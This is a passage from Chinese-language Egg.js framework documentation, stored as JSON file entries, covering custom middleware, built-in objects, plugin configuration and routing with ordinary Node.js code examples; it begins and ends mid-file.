isJSON = require('koa-is-json');\nconst zlib = require('zlib');\n\nmodule.exports = (options) => {\n  return async function gzip(ctx, next) {\n    await next();\n\n    // 后续中间件执行完成后，将响应体转换成 gzip\n    let body = ctx.body;\n    if (!body) return;\n\n    // 支持 options.threshold\n    if (options.threshold && ctx.length < options.threshold) return;\n\n    if (isJSON(body)) body = JSON.stringify(body);\n\n    // 设置 gzip body，修正响应头\n    const stream = zlib.createGzip();\n    stream.end(body);\n    ctx.body = stream;\n    ctx.set('Content-Encoding', 'gzip');\n  };\n};\n```\n\n## 使用中间件\n\n中间件编写完成后，我们还需要手动挂载，支持以下方式：\n\n### 在应用中使用中间件\n\n在应用中，我们可以完全通过配置来加载自定义的中间件，并决定它们的顺序。\n\n如果我们需要加载上面的 gzip 中间件，在 `config.default.js` 中加入下面的配置就完成了中间件的开启和配置：\n\n```js\nmodule.exports = {\n  // 配置需要的中间件，数组顺序即为中间件的加载顺序\n  middleware: ['gzip'],\n\n  // 配置 gzip 中间件的配置\n  gzip: {\n    threshold: 1024, // 小于 1k 的响应体不压缩\n  },\n};\n```\n\n该配置最终将在启动时合并到 `app.config.appMiddleware`。\n\n### 在框架和插件中使用中间件\n\n框架和插件不支持在 `config.default.js` 中匹配 `middleware`，需要通过以下方式：\n\n```js\n// app.js\nmodule.exports = (app) => {\n  // 在中间件最前面统计请求时间\n  app.config.coreMiddleware.unshift('report');\n};\n\n// app/middleware/report.js\nmodule.exports = () => {\n  return async function (ctx, next) {\n    const startTime = Date.now();\n    await next();\n    // 上报请求时间\n    reportTime(Date.now() - startTime);\n  };\n};\n```\n\n应用层定义的中间件（`app.config.appMiddleware`）和框架默认中间件（`app.config.coreMiddleware`）都会被加载器加载，并挂载到 `app.middleware` 上。\n\n### 在 router 中使用中间件\n\n以上两种方式配置的中间件是全局的，会处理每一次请求。\n如果你只想针对单个路由生效，可以直接在 `app/router.js` 中实例化和挂载，如下：\n\n```js\nmodule.exports = (app) => {\n  const gzip = app.middleware.gzip({ threshold: 1024 });\n  app.router.get('/needgzip', gzip, app.controller.handler);\n};\n```\n\n## 框架默认中间件\n\n除了应用层加载中间件之外，框架自身和其他插件也会加载许多中间件。所有这些自带中间件的配置项都可以通过修改配置文件中的同名配置项来进行更改。例如，框架自带的中间件列表中有一个名为 `bodyParser` 的中间件（框架的加载器会将文件名中的分隔符都转换为驼峰形式的变量名）。如果我们想要修改 `bodyParser` 的配置，只需要在 `config/config.default.js` 中编写如下内容：\n\n```js\nmodule.exports = {\n  bodyParser: {\n    jsonLimit: '10mb',\n  },\n};\n```\n\n**注意：框架和插件加载的中间件会在应用层配置的中间件之前被加载。框架默认中间件不能被应用层中间件覆盖。如果应用层有自定义同名中间件，启动时将会报错。**\n\n## 使用 Koa 的中间件\n\n在框架里面可以非常容易地引入 Koa 中间件生态。\n\n以 [`koa-compress`](https://github.com/koajs/compress) 为例，在 Koa 中使用时：\n\n```js\nconst koa = require('koa');\nconst compress = require('koa-compress');\n\nconst app = new koa();\n\nconst options = { threshold: 2048 };\napp.use(compress(options));\n```\n\n我们按照框架的规范来在应用中加载这个 Koa 的中间件：\n\n```js\n// app/middleware/compress.js\n// koa-compress 暴露的接口（`(options) => middleware`）和框架对中间件要求一致\nmodule.exports = require('koa-compress');\n```\n\n```js\n// config/config.default.js\nmodule.exports = {\n  middleware: ['compress'],\n  compress: {\n    threshold: 2048,\n  },\n};\n```\n\n如果使用到的 Koa 中间件不符合入参规范，则可以自行处理下：\n\n```js\n// config/config.default.js\nmodule.exports = {\n  webpack: {\n    compiler: {},\n    others: {},\n  },\n};\n\n// app/middleware/webpack.js\nconst webpackMiddleware = require('some-koa-middleware');\n\nmodule.exports = (options, app) => {\n  return webpackMiddleware(options.compiler, options.others);\n};\n```\n\n## 通用配置\n\n无论是应用层加载的中间件还是框架自带中间件，都支持几个通用的配置项：\n\n- `enable`：控制中间件是否开启。\n- `match`：设置只有符合某些规则的请求才会经过这个中间件。\n- `ignore`：设置符合某些规则的请求不经过这个中间件。\n\n### enable\n\n如果我们的应用并不需要默认的 `bodyParser` 中间件来进行请求体的解析，此时我们可以通过配置 `enable` 为 `false` 来关闭它。\n\n```js\nmodule.exports = {\n  bodyParser: {\n    enable: false,\n  },\n};\n```\n\n### match 和 ignore\n\n`match` 和 `ignore` 支持的参数都一样，只是作用完全相反，`match` 和 `ignore` 不允许同时配置。\n\n如果我们想让 `gzip` 只针对 `/static` 前缀开头的 url 请求开启，我们可以配置 `match` 选项。\n\n```js\nmodule.exports = {\n  gzip: {\n    match: '/static',\n  },\n};\n```\n\n`match` 和 `ignore` 支持多种类型的配置方式：\n\n1. 字符串：当参数为字符串类型时，配置的是一个 url 的路径前缀，所有以配置的字符串作为前缀的 url 都会匹配上。当然，你也可以直接使用字符串数组。\n2. 正则：当参数为正则时，直接匹配满足正则验证的 url 的路径。\n3. 函数：当参数为一个函数时，会将请求上下文传递给这个函数，最终取函数返回的结果（`true`/`false`）来判断是否匹配。\n\n```js\nmodule.exports = {\n  gzip: {\n    match(ctx) {\n      // 只有 iOS 设备才开启\n      const reg = /iphone|ipad|ipod/i;\n      return reg.test(ctx.get('user-agent'));\n    },\n  },\n};\n```\n\n有关更多的 `match` 和 `ignore` 配置情况，详见 [@eggjs/path-matching](https://github.com/eggjs/egg/tree/next/packages/path-matching)。\n"
  },
  {
    "path": "site/docs/zh-CN/basics/objects.md",
    "content": "# 框架内置基础对象\n\n在本章中，我们将初步了解框架内部内置的一些基础对象。这些对象包括从 [Koa] 继承而来的 4 个对象（`Application`，`Context`，`Request`，`Response`）以及框架扩展的其他一些对象（`Controller`，`Service`，`Helper`，`Config`，`Logger`）。在后续的文档中，我们会经常遇到它们。\n\n## Application\n\nApplication 是全局应用对象。在一个应用中，每个进程只会实例化一个 Application 实例。它继承自 `Koa.Application`，在其上我们可以挂载一些全局的方法和对象。我们可以轻易地在插件或应用中[扩展 Application 对象](./extend.md#Application)。\n\n### 事件\n\n在框架运行时，会在 Application 实例上触发一些事件，应用开发者或插件开发者可以监听这些事件做一些操作。作为应用开发者，我们一般会在[启动自定义脚本](./app-start.md)中进行监听：\n\n- `server`：该事件在一个 worker 进程中只会触发一次，在 HTTP 服务完成启动后，会通过这个事件将 HTTP server 暴露出来给开发者。\n- `error`：运行时捕获到任何异常后，都会触发 `error` 事件，将错误对象和关联的上下文（如果有）暴露出来，开发者可以对其进行自定义的日志记录、上报等处理。\n- `request` 和 `response`：应用收到请求和响应请求时，分别会触发 `request` 和 `response` 事件，并将当前请求的上下文暴露出来，开发者可以监听这两个事件进行日志记录。\n\n```js\n// app.js\n\nmodule.exports = (app) => {\n  app.once('server', (server) => {\n    // websocket 相关操作\n  });\n  app.on('error', (err, ctx) => {\n    // 上报错误\n  });\n  app.on('request', (ctx) => {\n    // 记录收到的请求\n  });\n  app.on('response', (ctx) => {\n    // ctx.starttime 是由框架设置的\n    const used = Date.now() - ctx.starttime;\n    // 记录请求总耗时\n  });\n};\n```\n\n### 获取方式\n\nApplication 对象在编写应用时几乎任何场合都能获取到，下面介绍几个常用的获取方式：\n\n几乎所有由框架 `Loader` 加载的文件（Controller、Service、Schedule 等），都可以通过导出一个函数来获取 Application 实例，该函数会被 `Loader` 调用，并将 app 作为参数：\n\n- [启动自定义脚本](./app-start.md)\n\n  ```js\n  // app.js\n  module.exports = (app) => {\n    app.cache = new Cache();\n  };\n  ```\n\n- [Controller 文件](./controller.md)\n\n  ```js\n  // app/controller/user.js\n  class UserController extends Controller {\n    async fetch() {\n      this.ctx.body = this.app.cache.get(this.ctx.query.id);\n    }\n  }\n  ```\n\n与 `Koa` 一样，在 Context 对象上，可以通过 `ctx.app` 访问到 Application 对象。以 Controller 文件为例：\n\n```js\n// app/controller/user.js\nclass UserController extends Controller {\n  async fetch() {\n    this.ctx.body = this.ctx.app.cache.get(this.ctx.query.id);\n  }\n}\n```\n\n在继承自 Controller、Service 基类的实例中，可以通过 `this.app` 访问到 Application 对象。\n\n```js\n// app/controller/user.js\nclass UserController extends Controller {\n  async fetch() {\n    this.ctx.body = this.app.cache.get(this.ctx.query.id);\n  }\n}\n```\n\n## Context\n\nContext 是一个**请求级别的对象**，继承自 [Koa.Context]。在每次收到用户请求时，框架都会实例化一个 Context 对象。这个对象封装了这次用户请求的信息，并提供了许多便捷的方法来获取请求参数或者设置响应信息。框架会将所有的 [Service] 挂载到 Context 实例上。部分插件也会将其他方法和对象挂载至其上（如 [egg-sequelize] 会将所有的 model 挂到 Context 上）。\n\n### 获取方式\n\n获取 Context 实例的最常见方式是在 [Middleware]、[Controller] 以及 [Service] 中。我们已经在 Controller 的示例中看到了相应的获取方式。在 Service 中获取 Context 的方法与 Controller 中相同，在 Middleware 中获取 Context 实例的方法则与 [Koa] 框架的中间件中使用方法一致。\n\n框架的 [Middleware] 支持 Koa v1 和 Koa v2 两种中间件的写法。根据不同的写法，获取 Context 实例的方式略有区别：\n\n```js\n// Koa v1\nfunction* middleware(next) {\n  // this 为 Context 的实例\n  console.log(this.query);\n  yield next;\n}\n\n// Koa v2\nasync function middleware(ctx, next) {\n  // ctx 为 Context 的实例\n  console.log(ctx.query);\n}\n```\n\n除了在处理请求时可以获得 Context 实例外，还有一些非用户请求的场景下需要访问 service / model 等 Context 实例上的对象。这时我们可以通过 `Application.createAnonymousContext()` 方法创建一个匿名 Context 实例：\n\n```js\n// app.js\nmodule.exports = (app) => {\n  app.beforeStart(async () => {\n    const ctx = app.createAnonymousContext();\n    // 应用启动前预加载\n    await ctx.service.posts.load();\n  });\n};\n```\n\n在[定时任务](./schedule.md)中，每个 task 都接收一个 Context 实例作为参数，这样我们可以更便利地执行一些定时的业务逻辑：\n\n```js\n// app/schedule/refresh.js\nexports.task = async (ctx) => {\n  await ctx.service.posts.refresh();\n};\n```\n\n## Request & Response\n\nRequest 是一个**请求级别的对象**，继承自 `[Koa.Request]`。封装了 Node.js 原生的 HTTP Request 对象，提供了一系列辅助方法获取 HTTP 请求常用参数。\n\nResponse 是一个**请求级别的对象**，继承自 `[Koa.Response]`。封装了 Node.js 原生的 HTTP Response 对象，提供了一系列辅助方法设置 HTTP 响应。\n\n### 获取方式\n\n可以在 Context 的实例上获取到当前请求的 Request(`ctx.request`) 和 Response(`ctx.response`) 实例。\n\n```js\n// app/controller/user.js\nclass UserController extends Controller {\n  async fetch() {\n    const { app, ctx } = this;\n    // 获取请求中的 `id` 参数\n    const id = ctx.request.query.id;\n    // 设置响应体\n    ctx.response.body = app.cache.get(id);\n  }\n}\n```\n\n- `[Koa]` 会在 Context 上代理一部分 Request 和 Response 上的方法和属性，参见 `[Koa.Context]`。\n- 如上面例子中的 `ctx.request.query.id` 和 `ctx.query.id` 是等价的，`ctx.response.body =` 和 `ctx.body =` 也是等价的。\n- 需要注意的是，获取 POST 的 body 应该使用 `ctx.request.body`，而不是 `ctx.body`。\n\n## Controller\n\n框架提供了一个 Controller 基类，并推荐所有的 `Controller` 都继承于该基类实现。这个 Controller 基类有下列属性：\n\n- `ctx` - 当前请求的 `Context` 实例。\n- `app` - 应用的 `Application` 实例。\n- `config` - 应用的[配置](./config.md)。\n- `service` - 应用的所有 [service](./service.md)。\n- `logger` - 为当前 `Controller` 封装的 `logger` 对象。\n\n在 `Controller` 文件中，可以通过两种方式来引用 Controller 基类：\n\n```js\n// app/controller/user.js\n\n// 从 egg 上获取（推荐）\nconst Controller = require('egg').Controller;\nclass UserController extends Controller {\n  // 实现\n}\nmodule.exports = UserController;\n\n// 从 app 实例上获取\nmodule.exports = (app) => {\n  return class UserController extends app.Controller {\n    // 实现\n  };\n};\n```\n\n## Service\n\n框架提供了一个 Service 基类，并推荐所有的 Service 都继承于该基类实现。\n\nService 基类的属性和 [Controller](#controller) 基类属性一致，访问方式也类似：\n\n```js\n// app/service/user.js\n\n// 从 egg 上获取（推荐）\nconst Service = require('egg').Service;\nclass UserService extends Service {\n  // implement\n}\nmodule.exports = UserService;\n\n// 从 app 实例上获取\nmodule.exports = (app) => {\n  return class UserService extends app.Service {\n    // implement\n  };\n};\n```\n\n## Helper\n\nHelper 用来提供一些实用的 utility 函数。它的作用在于我们可以将一些常用的动作抽离在 `helper.js` 里面成为一个独立的函数。这样可以利用 JavaScript 编写复杂的逻辑，避免逻辑分散于各个地方，同时便于更好地编写测试用例。\n\nHelper 本身是一个类，具有和 `Controller` 基类相同的属性，它也会在每次请求时进行实例化。因此，Helper 上的所有函数也能获取到当前请求相关的上下文信息。\n\n### 获取方式\n\n可以在 Context 的实例上获取到当前请求的 Helper（`ctx.helper`）实例。\n\n```js\n// app/controller/user.js\nclass UserController extends Controller {\n  async fetch() {\n    const { app, ctx } = this;\n    const id = ctx.query.id;\n    const user = app.cache.get(id);\n    ctx.body = ctx.helper.formatUser(user);\n  }\n}\n```\n\n除此之外，Helper 的实例还可以在模板中获取。例如，可以在模板中使用 [security](../core/security.md) 插件提供的 `shtml` 方法。\n\n```html\n<!-- app/view/home.nj -->\n{{ helper.shtml(value) }}\n```\n\n### 自定义 Helper 方法\n\n在应用开发中，我们可能经常需要自定义一些 Helper 方法。例如上面例子中的 `formatUser`，我们可以通过 [框架扩展](./extend.md#helper) 的形式来自定义 Helper 方法。\n\n```js\n// app/extend/helper.js\nmodule.exports = {\n  formatUser(user) {\n    return only(user, ['name', 'phone']);\n  },\n};\n```\n\n## Config\n\n我们推荐应用开发遵循配置和代码分离的原则，将一些需要硬编码的业务配置都放到配置文件中。同时，配置文件支持各个不同的运行环境使用不同的配置，使用起来也非常方便。所有框架、插件和应用级别的配置都可以通过 `Config` 对象获取到。关于框架的配置，可以详细阅读[Config 配置](./config.md)章节。\n\n### 获取方式\n\n我们可以通过 `app.config` 从 `Application` 实例上获取到 `config` 对象，也可以在 Controller、Service、Helper 的实例上通过 `this.config` 获取到 `config` 对象。\n\n## Logger\n\n框架内置了功能强大的[日志功能](../core/logger.md)，可以非常方便地打印各种级别的日志到对应的日志文件中，每一个 logger 对象都提供了 4 个级别的方法：\n\n- `logger.debug()`\n- `logger.info()`\n- `logger.warn()`\n- `logger.error()`\n\n在框架中提供了多个 Logger 对象，下面我们简单地介绍一下各个 Logger 对象的获取方式和使用场景。\n\n### App Logger\n\n我们可以通过 `app.logger` 来获取它。如果我们想做一些应用级别的日志记录，如记录启动阶段的一些数据信息，记录一些与请求无关的业务信息，都可以通过 App Logger 来完成。\n\n### App CoreLogger\n\n我们可以通过 `app.coreLogger` 来获取它。一般在开发应用时，我们不应该通过 CoreLogger 打印日志。而框架和插件则需要通过它来打印应用级别的日志，这样可以更清晰地区分应用和框架打印的日志。通过 CoreLogger 打印的日志会被放到与 Logger 不同的文件中。\n\n### Context Logger\n\n我们可以从 Context 实例上，通过 `ctx.logger` 获取它。从访问方式上我们可以看出，Context Logger 一定是与请求相关的。它打印的日志都会在前面带上一些当前请求相关的信息（如 `[$userId/$ip/$traceId/${cost}ms $method $url]`）。通过这些信息，我们可以从日志快速定位请求，并串联一次请求中的所有日志。\n\n### Context CoreLogger\n\n我们可以通过 `ctx.coreLogger` 获取它。它与 Context Logger 的区别在于，一般只有插件和框架会通过它来记录日志。\n\n### Controller Logger 和 Service Logger\n\n我们可以在 Controller 和 Service 实例上，通过 `this.logger` 获取它们。它们实质上就是一个 Context Logger，不过在打印日志时，还会额外地加上文件路径，以方便定位日志的打印位置。\n\n## 订阅模型\n\n订阅模型是一种比较常见的开发模式，例如消息中间件的消费者或调度任务。因此，我们提供了 `Subscription` 基类来规范化这个模式。\n\n你可以通过以下方式来引用 `Subscription` 基类：\n\n```js\nconst Subscription = require('egg').Subscription;\n\nclass Schedule extends Subscription {\n  // 需要实现此方法\n  // subscribe 可以为 async function 或 generator function\n  async subscribe() {}\n}\n```\n\n插件开发者可以根据自己的需求，基于它定制订阅规范，例如定时任务就是使用这种规范实现的。\n\n相关链接：\n\n- [koa](http://koajs.com)\n- [koa.application](http://koajs.com/#application)\n- [koa.context](http://koajs.com/#context)\n- [koa.request](http://koajs.com/#request)\n- [koa.response](http://koajs.com/#response)\n- [egg-sequelize](https://github.com/eggjs/egg-sequelize)\n- [中间件（middleware）](./middleware.md)\n- [控制器（controller）](./controller.md)\n- [服务（service）](./service.md)\n"
  },
  {
    "path": "site/docs/zh-CN/basics/plugin.md",
    "content": "# 插件\n\n插件机制是我们框架的一大特色。它不但可以保证框架核心的足够精简、稳定、高效，还可以促进业务逻辑的复用，生态圈的形成。有人可能会问了：\n\n- Koa 已经有了中间件的机制，为什么还要插件呢？\n- 中间件、插件、应用之间是什么关系，它们之间有什么区别？\n- 我该如何使用一个插件？\n- 如何编写一个插件？\n\n接下来我们就来逐一讨论。\n\n## 为什么要插件\n\n我们在使用 Koa 中间件过程中发现了下面一些问题：\n\n1. 中间件加载其实是有先后顺序的，但是中间件自身却无法管理这种顺序，只能交给使用者。这样其实非常不友好，一旦顺序不对，结果可能有天壤之别。\n2. 中间件的定位是拦截用户请求，并在它前后做一些事情，例如：鉴权、安全检查、访问日志等等。但实际情况是，有些功能是和请求无关的，例如：定时任务、消息订阅、后台逻辑等等。\n3. 有些功能包含非常复杂的初始化逻辑，需要在应用启动的时候完成。这显然也不适合放到中间件中去实现。\n\n综上所述，我们需要一套更加强大的机制，来管理、编排那些相对独立的业务逻辑。\n\n### 中间件、插件、应用的关系\n\n一个插件其实就是一个“迷你的应用”，和应用（app）几乎一样：\n\n- 它包含了 [Service](./service.md)、[中间件](./middleware.md)、[配置](./config.md)、[框架扩展](./extend.md)等等。\n- 它没有独立的 [Router](./router.md) 和 [Controller](./controller.md)。\n- 它没有 `plugin.js`，只能声明和其他插件的依赖，而**不能决定**其他插件的开启与否。\n\n他们的关系是：\n\n- 应用可以直接引入 Koa 的中间件。\n- 当遇到上一节提到的场景时，应用需引入插件。\n- 插件本身可以包含中间件。\n- 多个插件可以包装为一个[上层框架](../advanced/framework.md)。\n\n## 使用插件\n\n插件通常通过 npm 模块的方式进行复用：\n\n```bash\nnpm i egg-mysql --save\n```\n\n**注意：我们推荐通过 `^` 的方式引入依赖，并且强烈不建议锁定版本。**\n\n```json\n{\n  \"dependencies\": {\n    \"egg-mysql\": \"^3.0.0\"\n  }\n}\n```\n\n接着，需要在应用或框架的 `config/plugin.js` 中声明：\n\n```js\n// config/plugin.js\n// 使用 mysql 插件\nexports.mysql = {\n  enable: true,\n  package: 'egg-mysql',\n};\n```\n\n这样就可以直接使用插件提供的功能：\n\n```js\napp.mysql.query(sql, values);\n```\n\n### 参数介绍\n\n`plugin.js` 中的每个配置项支持：\n\n- `{Boolean} enable` - 是否开启此插件，默认为 true\n- `{String} package` - `npm` 模块名称，通过 `npm` 模块形式引入插件\n- `{String} path` - 插件绝对路径，与 package 配置互斥\n- `{Array} env` - 只有在指定运行环境才能开启，会覆盖该插件自身 `package.json` 中的配置\n\n### 开启和关闭\n\n在上层框架内置的插件，应用在使用时，可以不配置 package 或者 path，只需指定 enable 即可：\n\n```js\n// 对于内置插件，可采用以下简洁方式开启或关闭\nexports.onerror = false;\n```\n\n### 根据环境配置\n\n同时，我们还支持 `plugin.{env}.js` 的模式，会根据[运行环境](../basics/env.md)加载插件配置。\n\n比如，如果定义了一个只在开发环境使用的插件 `egg-dev`，希望只在本地环境加载，可以将其安装到 `devDependencies` 中。\n\n```js\n// npm i egg-dev --save-dev\n// package.json\n{\n  \"devDependencies\": {\n    \"egg-dev\": \"*\"\n  }\n}\n```\n\n接下来，在 `plugin.local.js` 中声明：\n\n```js\n// config/plugin.local.js\nexports.dev = {\n  enable: true,\n  package: 'egg-dev',\n};\n```\n\n这样，在生产环境下执行 `npm i --production` 时，就不需要下载 `egg-dev` 包了。\n\n**注意:**\n\n- `plugin.default.js` 不存在\n- **只能在应用层使用，框架层请勿使用。**\n\n### package 和 path\n\n- `package` 是 `npm` 方式引入，也是最常见的引入方式\n- `path` 是绝对路径引入，例如应用内部提取了一个插件，但尚未发布至 npm；或者是应用自行改写了框架的某些插件\n- 关于这两种方式的使用场景，可参见[渐进式开发](../intro/progressive.md)文档。\n\n```js\n// config/plugin.js\nconst path = require('path');\nexports.mysql = {\n  enable: true,\n  path: path.join(__dirname, '../lib/plugin/egg-mysql'),\n};\n```\n\n## 插件配置\n\n插件一般会包含自己的默认配置。应用开发者可以在 `config.default.js` 中覆盖对应的配置：\n\n```js\n// config/config.default.js\nexports.mysql = {\n  client: {\n    host: 'mysql.com',\n    port: '3306',\n    user: 'test_user',\n    password: 'test_password',\n    database: 'test',\n  },\n};\n```\n\n具体的合并规则可以参见[配置](./config.md)。\n\n## 插件列表\n\n- 框架默认内置了企业级应用[常用的插件](https://eggjs.org/zh-cn/plugins/)：\n  - [onerror](https://github.com/eggjs/onerror) 统一异常处理\n  - [session](https://github.com/eggjs/session) Session 实现\n  - [i18n](https://github.com/eggjs/i18n) 多语言\n  - [watcher](https://github.com/eggjs/watcher) 文件和文件夹监控\n  - [multipart](https://github.com/eggjs/multipart) 文件流式上传\n  - [security](https://github.com/eggjs/security) 安全\n  - [development](https://github.com/eggjs/development) 开发环境配置\n  - [logrotator](https://github.com/eggjs/logrotator) 日志切分\n  - [schedule](https://github.com/eggjs/schedule) 定时任务\n  - [static](https://github.com/eggjs/static) 静态服务器\n  - [jsonp](https://github.com/eggjs/jsonp) jsonp 支持\n  - [view](https://github.com/eggjs/egg-view) 模板引擎\n- 更多社区的插件可以在 GitHub 上搜索 [egg-plugin](https://github.com/topics/egg-plugin)。\n\n## 如何开发一个插件\n\n参见文档：[插件开发](../advanced/plugin.md)。\n"
  },
  {
    "path": "site/docs/zh-CN/basics/router.md",
    "content": "# 路由（Router）\n\nRouter 主要用来描述请求 URL 和具体承担执行动作的 Controller 的对应关系，框架约定了 `app/router.js` 文件用于统一所有路由规则。\n\n通过统一的配置，我们可以避免路由规则逻辑散落在多个地方，从而出现未知的冲突。集中在一起，我们可以更方便地来查看全局的路由规则。\n\n## 如何定义 Router\n\n- `app/router.js` 里面定义 URL 路由规则\n\n```js\n// app/router.js\nmodule.exports = (app) => {\n  const { router, controller } = app;\n  router.get('/user/:id', controller.user.info);\n};\n```\n\n- `app/controller` 目录下面实现 Controller\n\n```js\n// app/controller/user.js\nclass UserController extends Controller {\n  async info() {\n    const { ctx } = this;\n    ctx.body = {\n      name: `hello ${ctx.params.id}`,\n    };\n  }\n}\n```\n\n这样就完成了一个最简单的 Router 定义，当用户执行 `GET /user/123`，`user.js` 这个里面的 info 方法就会执行。\n\n## Router 详细定义说明\n\n下面是路由的完整定义，参数可以根据场景的不同，自由选择：\n\n```js\nrouter.verb('path-match', app.controller.action);\nrouter.verb('router-name', 'path-match', app.controller.action);\nrouter.verb('path-match', middleware1, ..., middlewareN, app.controller.action);\nrouter.verb('router-name', 'path-match', middleware1, ..., middlewareN, app.controller.action);\n```\n\n路由的完整定义主要包括以下五个主要部分：\n\n- `verb`：用户触发动作，支持 get、post 等所有 HTTP 方法，后面会通过示例详细说明。\n  - `router.head`：HEAD\n  - `router.options`：OPTIONS\n  - `router.get`：GET\n  - `router.put`：PUT\n  - `router.post`：POST\n  - `router.patch`：PATCH\n  - `router.delete`：DELETE\n  - `router.del`：由于 delete 是一个保留字，所以提供了一个 delete 方法的别名。\n  - `router.redirect`：可以对 URL 进行重定向处理，比如我们最经常使用的可以把用户访问的根目录路由到某个主页。\n- `router-name`：给路由设定一个别名，可以通过 Helper 提供的辅助函数 `pathFor` 和 `urlFor` 来生成 URL。（可选）\n- `path-match`：路由 URL 路径。\n- `middlewareN`：在 Router 里面可以配置多个 Middleware。（可选）\n- `controller`：指定路由映射到的具体 controller 上，controller 可以有两种写法：\n  - `app.controller.user.fetch`：直接指定一个具体的 controller。\n  - `'user.fetch'`：可以简写为字符串形式。\n\n### 注意事项\n\n- 在 Router 定义中，可以支持多个 Middleware 串联执行。\n- Controller 必须定义在 `app/controller` 目录中。\n- 一个文件里面也可以包含多个 Controller 定义，在定义路由时，可以通过 `${fileName}.${functionName}` 的方式指定对应的 Controller。\n- Controller 支持子目录，在定义路由时，可以通过 `${directoryName}.${fileName}.${functionName}` 的方式指定对应的 Controller。\n\n以下是一些路由定义的方式：\n\n```js\n// app/router.js\nmodule.exports = (app) => {\n  const { router, controller } = app;\n  router.get('/home', controller.home);\n  router.get('/user/:id', controller.user.page);\n  router.post('/admin', isAdmin, controller.admin);\n  router.post('/user', isLoginUser, hasAdminPermission, controller.user.create);\n  router.post('/api/v1/comments', controller.v1.comments.create); // app/controller/v1/comments.js\n};\n```\n\n### RESTful 风格的 URL 定义\n\n如果想用 RESTful 的方式定义路由，我们提供了 `app.router.resources('routerName', 'pathMatch', controller)` 方法，快速在一个路径上生成 [CRUD](https://en.wikipedia.org/wiki/Create,_read,_update_and_delete) 路由结构。\n\n```js\n// app/router.js\nmodule.exports = (app) => {\n  const { router, controller } = app;\n  router.resources('posts', '/api/posts', controller.posts);\n  router.resources('users', '/api/v1/users', controller.v1.users); // app/controller/v1/users.js\n};\n```\n\n上述代码就在 `/posts` 路径上部署了一组 CRUD 路径结构，对应的 Controller 为 `app/controller/posts.js`。接下来，只需在 `posts.js` 里面实现对应的函数即可。\n\n| Method | Path            | Route Name | Controller.Action             |\n| ------ | --------------- | ---------- | ----------------------------- |\n| GET    | /posts          | posts      | app.controllers.posts.index   |\n| GET    | /posts/new      | new_post   | app.controllers.posts.new     |\n| GET    | /posts/:id      | post       | app.controllers.posts.show    |\n| GET    | /posts/:id/edit | edit_post  | app.controllers.posts.edit    |\n| POST   | /posts          | posts      | app.controllers.posts.create  |\n| PUT    | /posts/:id      | post       | app.controllers.posts.update  |\n| DELETE | /posts/:id      | post       | app.controllers.posts.destroy |\n\n```js\n// app/controller/posts.js\nexports.index = async () => {};\n\nexports.new = async () => {};\n\nexports.create = async () => {};\n\nexports.show = async () => {};\n\nexports.edit = async () => {};\n\nexports.update = async () => {};\n\nexports.destroy = async () => {};\n```\n\n如果我们不需要其中的某些方法，可以省略在 `posts.js` 里面的实现，这样对应的 URL 路径也不会注册到 Router 中。\n\n## router 实战\n\n下面通过更多实际的例子，来说明 `router` 的用法。\n\n### 参数获取\n\n#### Query String 方式\n\n```js\n// app/router.js\nmodule.exports = (app) => {\n  app.router.get('/search', app.controller.search.index);\n};\n\n// app/controller/search.js\nexports.index = async (ctx) => {\n  ctx.body = `search: ${ctx.query.name}`;\n};\n\n// curl http://127.0.0.1:7001/search?name=egg\n```\n\n#### 参数命名方式\n\n```js\n// app/router.js\nmodule.exports = (app) => {\n  app.router.get('/user/:id/:name', app.controller.user.info);\n};\n\n// app/controller/user.js\nexports.info = async (ctx) => {\n  ctx.body = `user: ${ctx.params.id}, ${ctx.params.name}`;\n};\n\n// curl http://127.0.0.1:7001/user/123/xiaoming\n```\n\n#### 复杂参数的获取\n\n路由里面也支持定义正则，可以更加灵活地获取参数：\n\n```js\n// app/router.js\nmodule.exports = (app) => {\n  app.router.get(\n    /^\\/package\\/([\\w-.]+\\/[\\w-.]+)$/,\n    app.controller.package.detail,\n  );\n};\n\n// app/controller/package.js\nexports.detail = async (ctx) => {\n  // 如果请求 URL 被正则匹配，可以按照捕获分组的顺序，从 ctx.params 中获取。\n  // 按照下面的用户请求，`ctx.params[0]` 的内容就是 `egg/1.0.0`\n  ctx.body = `package:${ctx.params[0]}`;\n};\n\n// curl http://127.0.0.1:7001/package/egg/1.0.0\n```\n\n### 表单内容的获取\n\n```js\n// app/router.js\nmodule.exports = (app) => {\n  app.router.post('/form', app.controller.form.post);\n};\n\n// app/controller/form.js\nexports.post = async (ctx) => {\n  ctx.body = `body: ${JSON.stringify(ctx.request.body)}`;\n};\n\n// 模拟发起 post 请求。\n// curl -X POST http://127.0.0.1:7001/form --data '{\"name\":\"controller\"}' --header 'Content-Type:application/json'\n```\n\n> 附：\n\n> 这里直接发起 POST 请求会**报错**：'secret is missing'。错误信息来源于 [koa-csrf/index.js#L69](https://github.com/koajs/csrf/blob/2.5.0/index.js#L69)。\n\n> **原因**：框架内部针对表单 POST 请求均会验证 CSRF 的值，因此我们在表单提交时，需要带上 CSRF key 进行提交。具体可参考[安全威胁 CSRF 的防范](https://eggjs.org/zh-cn/core/security.html#安全威胁csrf的防范)。\n\n> **注意**：上述校验是因为框架中内置了安全插件 [@eggjs/security](https://github.com/eggjs/security)，提供了一些默认的安全实践，并且框架的安全插件默认是开启的。如果需要关闭一些安全防范，直接设置相应选项的 `enable` 属性为 `false` 即可。\n\n> 虽然不推荐，但如果确实需要关闭某些安全功能，可以在 `config/config.default.js` 中设置以下代码：\n\n```javascript\nexports.security = {\n  csrf: false,\n};\n```\n\n### 表单校验\n\n```js\n// app/router.js\nmodule.exports = (app) => {\n  app.router.post('/user', app.controller.user);\n};\n\n// app/controller/user.js\nconst createRule = {\n  username: {\n    type: 'email',\n  },\n  password: {\n    type: 'password',\n    compare: 're-password',\n  },\n};\n\nexports.create = async (ctx) => {\n  // 如果校验报错，会抛出异常\n  ctx.validate(createRule);\n  ctx.body = ctx.request.body;\n};\n\n// curl -X POST http://127.0.0.1:7001/user --data 'username=abc@abc.com&password=111111&re-password=111111'\n```\n\n### 重定向\n\n#### 内部重定向\n\n```js\n// app/router.js\nmodule.exports = (app) => {\n  app.router.get('index', '/home/index', app.controller.home.index);\n  app.router.redirect('/', '/home/index', 302);\n};\n\n// app/controller/home.js\nexports.index = async (ctx) => {\n  ctx.body = 'hello controller';\n};\n\n// curl -L http://localhost:7001\n```\n\n#### 外部重定向\n\n```js\n// app/router.js\nmodule.exports = (app) => {\n  app.router.get('/search', app.controller.search.index);\n};\n\n// app/controller/search.js\nexports.index = async (ctx) => {\n  const type = ctx.query.type;\n  const q = ctx.query.q || 'nodejs';\n\n  if (type === 'bing') {\n    